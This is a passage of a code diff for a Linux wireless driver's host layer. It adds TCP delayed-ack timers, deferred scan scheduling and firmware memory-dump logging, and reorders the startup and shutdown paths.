MAC_ADDRESS_STR, + hddLog(VOS_TRACE_LEVEL_ERROR, "AP(%d) " MAC_ADDRESS_STR, apChannel, MAC_ADDR_ARRAY(apBssid)); } @@ -8268,6 +9910,14 @@ static void __hdd_set_multicast_list(struct net_device *dev) } } + if (pHddCtx->hdd_wlan_suspended) + { + /* + * Configure the Mcast address list to FW + * If wlan is already in suspend mode + */ + wlan_hdd_set_mc_addr_list(pAdapter, TRUE); + } EXIT(); return; } @@ -8371,27 +10021,6 @@ void hdd_wlan_initial_scan(hdd_adapter_t *pAdapter) vos_mem_free(scanReq.ChannelInfo.ChannelList); } -void hdd_purge_cmd_list_all_adapters( hdd_context_t *pHddCtx ) -{ - hdd_adapter_list_node_t *pAdapterNode = NULL, *pNext = NULL; - VOS_STATUS status; - hdd_adapter_t *pAdapter; - - ENTER(); - - status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); - - while ( NULL != pAdapterNode && VOS_STATUS_SUCCESS == status ) - { - pAdapter = pAdapterNode->pAdapter; - - status = sme_PurgeCmdList(pHddCtx->hHal, pAdapter->sessionId); - status = hdd_get_next_adapter ( pHddCtx, pAdapterNode, &pNext ); - pAdapterNode = pNext; - } - - EXIT(); -} /**--------------------------------------------------------------------------- \brief hdd_full_power_callback() - HDD full power callback function @@ -8634,7 +10263,8 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) * to be disabled so that hdd_rx_packet_cbk won't call * wlan_hdd_tdls_find_peer. */ - wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE); + wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE, + HDD_SET_TDLS_MODE_SOURCE_USER); #endif vosStatus = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); @@ -8662,6 +10292,9 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) #ifdef FEATURE_WLAN_TDLS mutex_unlock(&pHddCtx->tdls_lock); #endif + vos_flush_delayed_work(&pHddCtx->scan_ctxt.scan_work); + + wlan_hdd_init_deinit_defer_scan_context(&pHddCtx->scan_ctxt); if (WLAN_HDD_INFRA_STATION == pAdapter->device_mode || WLAN_HDD_P2P_CLIENT == pAdapter->device_mode) @@ -8675,9 +10308,6 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) pAdapterNode = pNext; } - //Purge all sme cmd's for all interface - hdd_purge_cmd_list_all_adapters(pHddCtx); - // Cancel any outstanding scan requests. We are about to close all // of our adapters, but an adapter structure is what SME passes back // to our callback function. Hence if there are any outstanding scan @@ -8740,20 +10370,39 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) } //Stop the traffic monitor timer - if ( VOS_TIMER_STATE_RUNNING == - vos_timer_getCurrentState(&pHddCtx->tx_rx_trafficTmr)) + if ((pHddCtx->cfg_ini->dynSplitscan) && (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->tx_rx_trafficTmr))) { vos_timer_stop(&pHddCtx->tx_rx_trafficTmr); } // Destroy the traffic monitor timer - if (!VOS_IS_STATUS_SUCCESS(vos_timer_destroy( - &pHddCtx->tx_rx_trafficTmr))) + if ((pHddCtx->cfg_ini->dynSplitscan) && + (!VOS_IS_STATUS_SUCCESS(vos_timer_destroy( + &pHddCtx->tx_rx_trafficTmr)))) { hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Cannot deallocate Traffic monitor timer", __func__); } + if (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->delack_timer)) { + vos_timer_stop(&pHddCtx->delack_timer); + } + + if (!VOS_IS_STATUS_SUCCESS(vos_timer_destroy( + &pHddCtx->delack_timer))) { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: Cannot deallocate Bus bandwidth timer", __func__); + } + + if (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->tdls_source_timer)) { + vos_timer_stop(&pHddCtx->tdls_source_timer); + } + + vos_timer_destroy(&pHddCtx->tdls_source_timer); + //Disable IMPS/BMPS as we do not want the device to enter any power //save mode during shutdown sme_DisablePowerSave(pHddCtx->hHal, ePMC_IDLE_MODE_POWER_SAVE); @@ -8848,7 +10497,8 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, "%s: Failed to stop VOSS",__func__); VOS_ASSERT( VOS_IS_STATUS_SUCCESS( vosStatus ) ); - VOS_BUG(0); + if (isSsrPanicOnFailure()) + VOS_BUG(0); } //This requires pMac access, Call this before vos_close(). @@ -8891,6 +10541,10 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) //Clean up HDD Nlink Service send_btc_nlink_msg(WLAN_MODULE_DOWN_IND, 0); + hdd_close_tx_queues(pHddCtx); + wlan_free_fwr_mem_dump_buffer(); + memdump_deinit(); + #ifdef WLAN_LOGGING_SOCK_SVC_ENABLE if (pHddCtx->cfg_ini->wlanLoggingEnable) { @@ -8904,9 +10558,14 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) nl_srv_exit(); #endif /* WLAN_KD_READY_NOTIFIER */ +#ifdef WLAN_FEATURE_RMC + hdd_close_cesium_nl_sock(); +#endif /* WLAN_FEATURE_RMC */ hdd_close_all_adapters( pHddCtx ); + vos_flush_delayed_work(&pHddCtx->spoof_mac_addr_work); + free_hdd_ctx: /* free the power on lock from platform driver */ if (free_riva_power_on_lock("wlan")) @@ -8922,9 +10581,10 @@ void hdd_wlan_exit(hdd_context_t *pHddCtx) pHddCtx->cfg_ini= NULL; } - /* FTM mode, WIPHY did not registered + /* FTM/MONITOR mode, WIPHY did not registered If un-register here, system crash will happen */ - if (VOS_FTM_MODE != hdd_get_conparam()) + if (!(VOS_FTM_MODE == hdd_get_conparam() || + VOS_MONITOR_MODE == hdd_get_conparam())) { wiphy_unregister(wiphy) ; hdd_wlan_free_wiphy_channels(wiphy); @@ -9168,6 +10828,7 @@ void hdd_exchange_version_and_caps(hdd_context_t *pHddCtx) pr_info("%s: WCNSS software version %s\n", WLAN_MODULE_NAME, versionString); + vos_mem_copy(pHddCtx->fw_Version, versionString, sizeof(versionString)); vstatus = sme_GetWcnssHardwareVersion(pHddCtx->hHal, versionString, @@ -9248,6 +10909,14 @@ void wlan_hdd_send_svc_nlink_msg(int type, void *data, int len) nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr))); skb_put(skb, NLMSG_SPACE(sizeof(tAniMsgHdr))); break; + case WLAN_SVC_WLAN_TP_IND: + ani_hdr->length = len; + nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr) + + len)); + nl_data = (char *)ani_hdr + sizeof(tAniMsgHdr); + memcpy(nl_data, data, len); + skb_put(skb, NLMSG_SPACE(sizeof(tAniMsgHdr) + len)); + break; case WLAN_MSG_RPS_ENABLE_IND: ani_hdr->length = len; nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr) + len)); @@ -9267,7 +10936,68 @@ void wlan_hdd_send_svc_nlink_msg(int type, void *data, int len) return; } +/** + * hdd_request_tcp_delack() - Find the Delack value based on RX packet + * @pHddCtx: Valid Global HDD context pointer + * @rx_packets: Number of RX packet in perticular time + * + * Based on the RX packet this function calculate next value of tcp delack. + * This function compare rx packet value to high and low threshold limit. + * + * Return: void + */ +void hdd_request_tcp_delack(hdd_context_t *pHddCtx, uint64_t rx_packets) +{ + /* average of rx_packets and prev_rx is taken so that + bus width doesnot fluctuate much */ + uint64_t temp_rx = (rx_packets + pHddCtx->prev_rx)/2; + TP_IND_TYPE next_rx_level = pHddCtx->cur_rx_level; + + pHddCtx->prev_rx = rx_packets; + if (temp_rx > pHddCtx->cfg_ini->tcpDelAckThresholdHigh) + next_rx_level = TP_IND_HIGH; + else if (temp_rx <= pHddCtx->cfg_ini->tcpDelAckThresholdLow) + next_rx_level = TP_IND_LOW; + + hdd_set_delack_value(pHddCtx, next_rx_level); +} + +#define HDD_BW_GET_DIFF(x, y) ((x) >= (y) ? (x) - (y) : (ULONG_MAX - (y) + (x))) + +/** + * hdd_tcp_delack_compute_function() - get link status + * @priv: Valid Global HDD context pointer + * + * This function find number of RX packet during timer life span. + * It request tcp delack with number of RX packet and re-configure delack timer + * for tcpDelAckComputeInterval timer interval. + * + * Return: void + */ +void hdd_tcp_delack_compute_function(void *priv) +{ + hdd_context_t *pHddCtx = (hdd_context_t *)priv; + hdd_adapter_t *pAdapter = NULL; + v_U32_t rx_packets = 0; + hdd_adapter_list_node_t *pAdapterNode = NULL; + VOS_STATUS status = 0; + + for (status = hdd_get_front_adapter(pHddCtx, &pAdapterNode); + NULL != pAdapterNode && VOS_STATUS_SUCCESS == status; + status = hdd_get_next_adapter(pHddCtx, pAdapterNode, &pAdapterNode)) { + if ((pAdapter = pAdapterNode->pAdapter) == NULL) + continue; + rx_packets += HDD_BW_GET_DIFF(pAdapter->stats.rx_packets, + pAdapter->prev_rx_packets); + pAdapter->prev_rx_packets = pAdapter->stats.rx_packets; + } + + hdd_request_tcp_delack(pHddCtx, rx_packets); + + vos_timer_start(&pHddCtx->delack_timer, + pHddCtx->cfg_ini->tcpDelAckComputeInterval); +} /**--------------------------------------------------------------------------- @@ -9476,7 +11206,7 @@ static eHalStatus hdd_11d_scan_done(tHalHandle halHandle, void *pContext, \return - None --------------------------------------------------------------------------*/ -void hdd_init_frame_logging_done(void *fwlogInitCbContext, VOS_STATUS status) +void hdd_init_frame_logging_done(void *fwlogInitCbContext, tAniLoggingInitRsp *pRsp) { hdd_context_t* pHddCtx = (hdd_context_t*)fwlogInitCbContext; @@ -9487,7 +11217,7 @@ void hdd_init_frame_logging_done(void *fwlogInitCbContext, VOS_STATUS status) return; } - if ((VOS_STATUS_SUCCESS == status) && + if ((pRsp->status == VOS_STATUS_SUCCESS) && (TRUE == pHddCtx->cfg_ini->enableMgmtLogging)) { hddLog(VOS_TRACE_LEVEL_INFO, FL("Mgmt Frame Logging init successful")); @@ -9497,9 +11227,21 @@ void hdd_init_frame_logging_done(void *fwlogInitCbContext, VOS_STATUS status) { hddLog(VOS_TRACE_LEVEL_INFO, FL("Mgmt Frame Logging init not success")); pHddCtx->mgmt_frame_logging = FALSE; + return; } - return; + /*Check feature supported by FW*/ + if(TRUE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED)) + { + //Store fwr mem dump size given by firmware. + wlan_store_fwr_mem_dump_size(pRsp->fw_mem_dump_max_size); + } + else + { + wlan_store_fwr_mem_dump_size(0); + } + + } /**--------------------------------------------------------------------------- @@ -9514,7 +11256,7 @@ void hdd_init_frame_logging_done(void *fwlogInitCbContext, VOS_STATUS status) void hdd_init_frame_logging(hdd_context_t* pHddCtx) { eHalStatus halStatus = eHAL_STATUS_FAILURE; - tpSirFWLoggingInitParam wlanFWLoggingInitParam; + tSirFWLoggingInitParam wlanFWLoggingInitParam = {0}; if (TRUE != sme_IsFeatureSupportedByFW(MGMT_FRAME_LOGGING) && TRUE != sme_IsFeatureSupportedByFW(LOGGING_ENHANCEMENT)) @@ -9523,55 +11265,57 @@ void hdd_init_frame_logging(hdd_context_t* pHddCtx) return; } - wlanFWLoggingInitParam = vos_mem_malloc(sizeof(tSirFWLoggingInitParam)); - if(NULL == wlanFWLoggingInitParam) - { - hddLog(VOS_TRACE_LEVEL_FATAL, "%s: vos_mem_alloc failed ", __func__); - return; - } - - vos_mem_set(wlanFWLoggingInitParam, sizeof(tSirFWLoggingInitParam), 0); - - hddLog(VOS_TRACE_LEVEL_INFO, "%s: Configuring %s %s %s Logging",__func__, + hddLog(VOS_TRACE_LEVEL_INFO, "%s: Configuring %s %s %s %s Logging",__func__, pHddCtx->cfg_ini->enableFWLogging?"FW Log,":"", pHddCtx->cfg_ini->enableContFWLogging ? "Cont FW log,":"", - pHddCtx->cfg_ini->enableMgmtLogging ? "Mgmt Pkt Log":""); + pHddCtx->cfg_ini->enableMgmtLogging ? "Mgmt Pkt Log":"", + pHddCtx->cfg_ini->enableFwrMemDump ? "Fw Mem dump":""); if (pHddCtx->cfg_ini->enableFWLogging || pHddCtx->cfg_ini->enableContFWLogging) { - wlanFWLoggingInitParam->enableFlag |= WLAN_QXDM_LOG_EN; + wlanFWLoggingInitParam.enableFlag |= WLAN_QXDM_LOG_EN; } if (pHddCtx->cfg_ini->enableMgmtLogging) { - wlanFWLoggingInitParam->enableFlag |= WLAN_FRAME_LOG_EN; + wlanFWLoggingInitParam.enableFlag |= WLAN_FRAME_LOG_EN; } if (pHddCtx->cfg_ini->enableBMUHWtracing) { - wlanFWLoggingInitParam->enableFlag |= WLAN_BMUHW_TRACE_LOG_EN; + wlanFWLoggingInitParam.enableFlag |= WLAN_BMUHW_TRACE_LOG_EN; } - - wlanFWLoggingInitParam->frameType = WLAN_FRAME_LOGGING_FRAMETYPE_MGMT; - wlanFWLoggingInitParam->frameSize = WLAN_MGMT_LOGGING_FRAMESIZE_128BYTES; - wlanFWLoggingInitParam->bufferMode = WLAN_FRAME_LOGGING_BUFFERMODE_CIRCULAR; - wlanFWLoggingInitParam->continuousFrameLogging = + if(pHddCtx->cfg_ini->enableFwrMemDump && + (TRUE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED))) + { + wlanFWLoggingInitParam.enableFlag |= WLAN_FW_MEM_DUMP_EN; + } + if( wlanFWLoggingInitParam.enableFlag == 0 ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Logging not enabled", __func__); + return; + } + wlanFWLoggingInitParam.frameType = WLAN_FRAME_LOGGING_FRAMETYPE_MGMT; + wlanFWLoggingInitParam.frameSize = WLAN_MGMT_LOGGING_FRAMESIZE_128BYTES; + wlanFWLoggingInitParam.bufferMode = WLAN_FRAME_LOGGING_BUFFERMODE_CIRCULAR; + wlanFWLoggingInitParam.continuousFrameLogging = pHddCtx->cfg_ini->enableContFWLogging; - wlanFWLoggingInitParam->enableFlag &= ~WLAN_DPU_TXP_LOG_EN; + wlanFWLoggingInitParam.enableFlag &= ~WLAN_DPU_TXP_LOG_EN; - wlanFWLoggingInitParam->minLogBufferSize = + wlanFWLoggingInitParam.minLogBufferSize = pHddCtx->cfg_ini->minLoggingBufferSize; - wlanFWLoggingInitParam->maxLogBufferSize = + wlanFWLoggingInitParam.maxLogBufferSize = pHddCtx->cfg_ini->maxLoggingBufferSize; - wlanFWLoggingInitParam->fwlogInitCallback = hdd_init_frame_logging_done; - wlanFWLoggingInitParam->fwlogInitCbContext= pHddCtx; + wlanFWLoggingInitParam.fwlogInitCallback = hdd_init_frame_logging_done; + wlanFWLoggingInitParam.fwlogInitCbContext= pHddCtx; - halStatus = sme_InitMgmtFrameLogging(pHddCtx->hHal, wlanFWLoggingInitParam); + halStatus = sme_InitMgmtFrameLogging(pHddCtx->hHal, &wlanFWLoggingInitParam); if (eHAL_STATUS_SUCCESS != halStatus) { - vos_mem_free(wlanFWLoggingInitParam); + hddLog(LOGE, FL("sme_InitMgmtFrameLogging failed, returned %d"), + halStatus); } return; @@ -9617,6 +11361,89 @@ static void hdd_dp_util_send_rps_ind(hdd_context_t *hdd_ctxt) } } +void wlan_hdd_schedule_defer_scan(struct work_struct *work) +{ + scan_context_t *scan_ctx = + container_of(work, scan_context_t, scan_work.work); + + if (NULL == scan_ctx) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("scan_ctx is NULL")); + return; + } + + if (unlikely(TDLS_CTX_MAGIC != scan_ctx->magic)) + return; + + scan_ctx->attempt++; + + wlan_hdd_cfg80211_scan(scan_ctx->wiphy, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + scan_ctx->dev, +#endif + scan_ctx->scan_request); +} + +int wlan_hdd_copy_defer_scan_context(hdd_context_t *pHddCtx, + struct wiphy *wiphy, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + struct net_device *dev, +#endif + struct cfg80211_scan_request *request) +{ + scan_context_t *scan_ctx; + + ENTER(); + if (0 != (wlan_hdd_validate_context(pHddCtx))) + { + return -1; + } + + scan_ctx = &pHddCtx->scan_ctxt; + + scan_ctx->wiphy = wiphy; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + scan_ctx->dev = dev; +#endif + + scan_ctx->scan_request = request; + + EXIT(); + return 0; +} + +void wlan_hdd_defer_scan_init_work(hdd_context_t *pHddCtx, + struct wiphy *wiphy, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + struct net_device *dev, +#endif + struct cfg80211_scan_request *request, + unsigned long delay) +{ + if (TDLS_CTX_MAGIC != pHddCtx->scan_ctxt.magic) + { +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + wlan_hdd_copy_defer_scan_context(pHddCtx, wiphy, dev, request); +#else + wlan_hdd_copy_defer_scan_context(pHddCtx, wiphy, request); +#endif + pHddCtx->scan_ctxt.attempt = 0; + pHddCtx->scan_ctxt.magic = TDLS_CTX_MAGIC; + } + schedule_delayed_work(&pHddCtx->scan_ctxt.scan_work, delay); +} + +void wlan_hdd_init_deinit_defer_scan_context(scan_context_t *scan_ctx) +{ + scan_ctx->magic = 0; + scan_ctx->attempt = 0; + scan_ctx->reject = 0; + scan_ctx->scan_request = NULL; + + return; +} + /**--------------------------------------------------------------------------- \brief hdd_wlan_startup() - HDD init function @@ -9693,6 +11520,9 @@ int hdd_wlan_startup(struct device *dev ) ((VosContextType*)(pVosContext))->pHDDContext = (v_VOID_t*)pHddCtx; pHddCtx->parent_dev = dev; + pHddCtx->last_scan_reject_session_id = 0; + pHddCtx->last_scan_reject_reason = 0xFF; + pHddCtx->last_scan_reject_timestamp = 0; init_completion(&pHddCtx->full_pwr_comp_var); init_completion(&pHddCtx->standby_comp_var); @@ -9714,10 +11544,17 @@ int hdd_wlan_startup(struct device *dev ) init_completion(&pHddCtx->driver_crda_req); #endif +#ifdef WLAN_FEATURE_EXTSCAN + init_completion(&pHddCtx->ext_scan_context.response_event); +#endif /* WLAN_FEATURE_EXTSCAN */ + spin_lock_init(&pHddCtx->schedScan_lock); hdd_list_init( &pHddCtx->hddAdapters, MAX_NUMBER_OF_ADAPTERS ); + vos_init_delayed_work(&pHddCtx->spoof_mac_addr_work, + hdd_processSpoofMacAddrRequest); + #ifdef FEATURE_WLAN_TDLS /* tdls_lock is initialized before an hdd_open_adapter ( which is * invoked by other instances also) to protect the concurrent @@ -9728,6 +11565,7 @@ int hdd_wlan_startup(struct device *dev ) mutex_init(&pHddCtx->spoofMacAddr.macSpoofingLock); mutex_init(&pHddCtx->wmmLock); + hdd_init_offloaded_packets_ctx(pHddCtx); /* By default Strict Regulatory For FCC should be false */ pHddCtx->nEnableStrictRegulatoryForFCC = FALSE; @@ -9905,12 +11743,23 @@ int hdd_wlan_startup(struct device *dev ) } #endif + //Initialize the nlink service + if(nl_srv_init() != 0) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: nl_srv_init failed", __func__); + goto err_vos_nv_close; + } + +#ifdef WLAN_KD_READY_NOTIFIER + pHddCtx->kd_nl_init = 1; +#endif /* WLAN_KD_READY_NOTIFIER */ + vos_set_roam_delay_stats_enabled(pHddCtx->cfg_ini->gEnableRoamDelayStats); status = vos_open( &pVosContext, pHddCtx->parent_dev); if ( !VOS_IS_STATUS_SUCCESS( status )) { hddLog(VOS_TRACE_LEVEL_FATAL, "%s: vos_open failed", __func__); - goto err_vos_nv_close; + goto err_nl_srv; } pHddCtx->hHal = (tHalHandle)vos_get_context( VOS_MODULE_ID_SME, pVosContext ); @@ -10052,7 +11901,8 @@ int hdd_wlan_startup(struct device *dev ) if ( !VOS_IS_STATUS_SUCCESS( status ) ) { hddLog(VOS_TRACE_LEVEL_FATAL,"%s: vos_start failed",__func__); - VOS_BUG(0); + if (isSsrPanicOnFailure()) + VOS_BUG(0); goto err_vosclose; } @@ -10277,6 +12127,11 @@ int hdd_wlan_startup(struct device *dev ) wlan_hdd_tdls_init(pHddCtx); + wlan_hdd_init_deinit_defer_scan_context(&pHddCtx->scan_ctxt); + + vos_init_delayed_work(&pHddCtx->scan_ctxt.scan_work, + wlan_hdd_schedule_defer_scan); + sme_Register11dScanDoneCallback(pHddCtx->hHal, hdd_11d_scan_done); /* Register with platform driver as client for Suspend/Resume */ @@ -10313,32 +12168,39 @@ int hdd_wlan_startup(struct device *dev ) { hddLog(VOS_TRACE_LEVEL_ERROR,"%s: register_netdevice_notifier failed",__func__); goto err_unregister_pmops; - } - - //Initialize the nlink service - if(nl_srv_init() != 0) - { - hddLog(VOS_TRACE_LEVEL_FATAL,"%s: nl_srv_init failed", __func__); - goto err_reg_netdev; - } - -#ifdef WLAN_KD_READY_NOTIFIER - pHddCtx->kd_nl_init = 1; -#endif /* WLAN_KD_READY_NOTIFIER */ + } //Initialize the BTC service if(btc_activate_service(pHddCtx) != 0) { hddLog(VOS_TRACE_LEVEL_FATAL,"%s: btc_activate_service failed",__func__); - goto err_nl_srv; + goto err_reg_netdev; + } + +#ifdef FEATURE_OEM_DATA_SUPPORT + //Initialize the OEM service + if (oem_activate_service(pHddCtx) != 0) + { + hddLog(VOS_TRACE_LEVEL_FATAL, + "%s: oem_activate_service failed", __func__); + goto err_reg_netdev; } +#endif #ifdef PTT_SOCK_SVC_ENABLE //Initialize the PTT service if(ptt_sock_activate_svc(pHddCtx) != 0) { hddLog(VOS_TRACE_LEVEL_FATAL,"%s: ptt_sock_activate_svc failed",__func__); - goto err_nl_srv; + goto err_reg_netdev; + } +#endif + +#ifdef WLAN_FEATURE_RMC + if (hdd_open_cesium_nl_sock() < 0) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: hdd_open_cesium_nl_sock failed", __func__); + goto err_reg_netdev; } #endif @@ -10347,11 +12209,13 @@ int hdd_wlan_startup(struct device *dev ) { if(wlan_logging_sock_activate_svc( pHddCtx->cfg_ini->wlanLoggingFEToConsole, - pHddCtx->cfg_ini->wlanLoggingNumBuf)) + pHddCtx->cfg_ini->wlanLoggingNumBuf, + pHddCtx->cfg_ini->wlanPerPktStatsLogEnable, + pHddCtx->cfg_ini->wlanPerPktStatsNumBuf)) { hddLog(VOS_TRACE_LEVEL_ERROR, "%s: wlan_logging_sock_activate_svc" " failed", __func__); - goto err_nl_srv; + goto err_reg_netdev; } //TODO: To Remove enableDhcpDebug and use gEnableDebugLog for //EAPOL and DHCP @@ -10364,7 +12228,9 @@ int hdd_wlan_startup(struct device *dev ) if (pHddCtx->cfg_ini->wlanLoggingEnable && (pHddCtx->cfg_ini->enableFWLogging || pHddCtx->cfg_ini->enableMgmtLogging || - pHddCtx->cfg_ini->enableContFWLogging)) + pHddCtx->cfg_ini->enableContFWLogging || + pHddCtx->cfg_ini->enableFwrMemDump ) + ) { hdd_init_frame_logging(pHddCtx); } @@ -10417,6 +12283,8 @@ int hdd_wlan_startup(struct device *dev ) sme_UpdateChannelList(pHddCtx->hHal); /* Fwr capabilities received, Set the Dot11 mode */ + sme_SetPhyMode(WLAN_HDD_GET_HAL_CTX(pAdapter), + hdd_cfg_xlate_to_csr_phy_mode(pHddCtx->cfg_ini->dot11Mode)); sme_SetDefDot11Mode(pHddCtx->hHal); #ifndef CONFIG_ENABLE_LINUX_REG @@ -10439,12 +12307,25 @@ int hdd_wlan_startup(struct device *dev ) } wlan_hdd_cfg80211_nan_init(pHddCtx); + mutex_init(&pHddCtx->cur_rx_level_lock); + vos_timer_init(&pHddCtx->delack_timer, VOS_TIMER_TYPE_SW, + hdd_tcp_delack_compute_function,(void *)pHddCtx); + vos_timer_init(&pHddCtx->tdls_source_timer, VOS_TIMER_TYPE_SW, + wlan_hdd_change_tdls_mode, (void *)pHddCtx); + #ifdef WLAN_FEATURE_EXTSCAN sme_EXTScanRegisterCallback(pHddCtx->hHal, wlan_hdd_cfg80211_extscan_callback, pHddCtx); #endif /* WLAN_FEATURE_EXTSCAN */ +#ifdef FEATURE_OEM_DATA_SUPPORT + sme_OemDataRegisterCallback(pHddCtx->hHal, + wlan_hdd_cfg80211_oemdata_callback, + pHddCtx); +#endif /* FEATURE_OEM_DATA_SUPPORT */ + + sme_set_rssi_threshold_breached_cb(pHddCtx->hHal, hdd_rssi_threshold_breached_cb); #ifdef WLAN_NS_OFFLOAD // Register IPv6 notifier to notify if any change in IP // So that we can reconfigure the offload parameters @@ -10472,16 +12353,12 @@ int hdd_wlan_startup(struct device *dev ) { hddLog(VOS_TRACE_LEVEL_INFO, FL("Registered IPv4 notifier")); } + /*Fw mem dump procfs initialization*/ + memdump_init(); hdd_dp_util_send_rps_ind(pHddCtx); goto success; -err_nl_srv: -#ifdef WLAN_KD_READY_NOTIFIER - nl_srv_exit(pHddCtx->ptt_pid); -#else - nl_srv_exit(); -#endif /* WLAN_KD_READY_NOTIFIER */ err_reg_netdev: unregister_netdevice_notifier(&hdd_netdev_notifier); @@ -10521,6 +12398,12 @@ int hdd_wlan_startup(struct device *dev ) } vos_close(pVosContext ); +err_nl_srv: +#ifdef WLAN_KD_READY_NOTIFIER + nl_srv_exit(pHddCtx->ptt_pid); +#else + nl_srv_exit(); +#endif /* WLAN_KD_READY_NOTIFIER */ err_vos_nv_close: #ifdef CONFIG_ENABLE_LINUX_REG @@ -10654,6 +12537,8 @@ static int hdd_driver_init( void) } hddTraceInit(); + hdd_register_debug_callback(); + #ifndef MODULE /* For statically linked driver, call hdd_set_conparam to update curr_con_mode */ @@ -11334,6 +13219,7 @@ void wlan_hdd_incr_active_session(hdd_context_t *pHddCtx, tVOS_CON_MODE mode) * --------------------------------------------------------------------------*/ void wlan_hdd_decr_active_session(hdd_context_t *pHddCtx, tVOS_CON_MODE mode) { + switch (mode) { case VOS_STA_MODE: case VOS_P2P_CLIENT_MODE: @@ -11469,6 +13355,7 @@ static VOS_STATUS wlan_hdd_framework_restart(hdd_context_t *pHddCtx) * the driver. * */ + #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)) cfg80211_rx_unprot_mlme_mgmt(pAdapterNode->pAdapter->dev, (u_int8_t*)mgmt, len); #else @@ -11546,6 +13433,178 @@ VOS_STATUS wlan_hdd_restart_driver(hdd_context_t *pHddCtx) return status; } +/** + * hdd_get_total_sessions() - provide total number of active sessions + * @pHddCtx: Valid Global HDD context pointer + * + * This function iterates through pAdaptors and find the number of all active + * sessions. This active sessions includes connected sta, p2p client and number + * of client connected to sap/p2p go. + * + * Return: Total number of active sessions. + */ +v_U8_t hdd_get_total_sessions(hdd_context_t *pHddCtx) +{ + v_U8_t active_session = 0; + hdd_station_ctx_t *pHddStaCtx; + hdd_adapter_list_node_t *pAdapterNode, *pNext; + hdd_adapter_t *pAdapter; + VOS_STATUS status; + + status = hdd_get_front_adapter(pHddCtx, &pAdapterNode); + while (NULL != pAdapterNode && VOS_STATUS_SUCCESS == status) { + pAdapter = pAdapterNode->pAdapter; + switch (pAdapter->device_mode) { + case VOS_STA_MODE: + case VOS_P2P_CLIENT_MODE: + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + if(eConnectionState_Associated == pHddStaCtx->conn_info.connState) + active_session += 1; + break; + case VOS_STA_SAP_MODE: + case VOS_P2P_GO_MODE: + active_session += hdd_softap_get_connected_sta(pAdapter); + break; + default: + break; + } + + status = hdd_get_next_adapter(pHddCtx, pAdapterNode, &pNext); + pAdapterNode = pNext; + } + + return active_session; +} + +/** + * hdd_set_delack_value() - Set delack value + * @pHddCtx: Valid Global HDD context pointer + * @next_rx_level: Value to set for delack + * + * This function compare present value and next value of delack. If the both + * are diffrent then it sets next value . + * + * Return: void. + */ +void hdd_set_delack_value(hdd_context_t *pHddCtx, v_U32_t next_rx_level) +{ + if (pHddCtx->cur_rx_level != next_rx_level) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_DEBUG, + "%s: TCP DELACK trigger level %d", + __func__, next_rx_level); + mutex_lock(&pHddCtx->cur_rx_level_lock); + pHddCtx->cur_rx_level = next_rx_level; + mutex_unlock(&pHddCtx->cur_rx_level_lock); + wlan_hdd_send_svc_nlink_msg(WLAN_SVC_WLAN_TP_IND, &next_rx_level, + sizeof(next_rx_level)); + } +} + +/** + * hdd_set_default_stop_delack_timer() - Start delack timer + * @pHddCtx: Valid Global HDD context pointer + * + * This function stop delack timer and set delack value to default.. + * + * Return: void. + */ + +void hdd_set_default_stop_delack_timer(hdd_context_t *pHddCtx) +{ + if (VOS_TIMER_STATE_RUNNING != + vos_timer_getCurrentState(&pHddCtx->delack_timer)) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_DEBUG, + "%s: Can not stop timer", __func__); + return; + } + + vos_timer_stop(&pHddCtx->delack_timer); + hdd_set_delack_value(pHddCtx, TP_IND_LOW); +} + +/** + * hdd_start_delack_timer() - Start delack timer + * @pHddCtx: Valid Global HDD context pointer + * + * This function starts the delack timer for tcpDelAckComputeInterval time + * interval.The default timer value is 2 second. + * + * Return: void. + */ +void hdd_start_delack_timer(hdd_context_t *pHddCtx) +{ + if (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->delack_timer)) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_DEBUG, + "%s: Timer is already running", __func__); + return; + } + + vos_timer_start(&pHddCtx->delack_timer, + pHddCtx->cfg_ini->tcpDelAckComputeInterval); +} + +/** + * hdd_update_prev_rx_packet_count() - Update previous rx packet count + * @pHddCtx: Valid Global HDD context pointer + * + * This function updates the prev_rx_packets count from the corresponding + * pAdapter states. This prev_rx_packets will diffed with the packet count + * at the end of delack timer. That can give number of RX packet is spacific + * time. + * + * Return: void. + */ 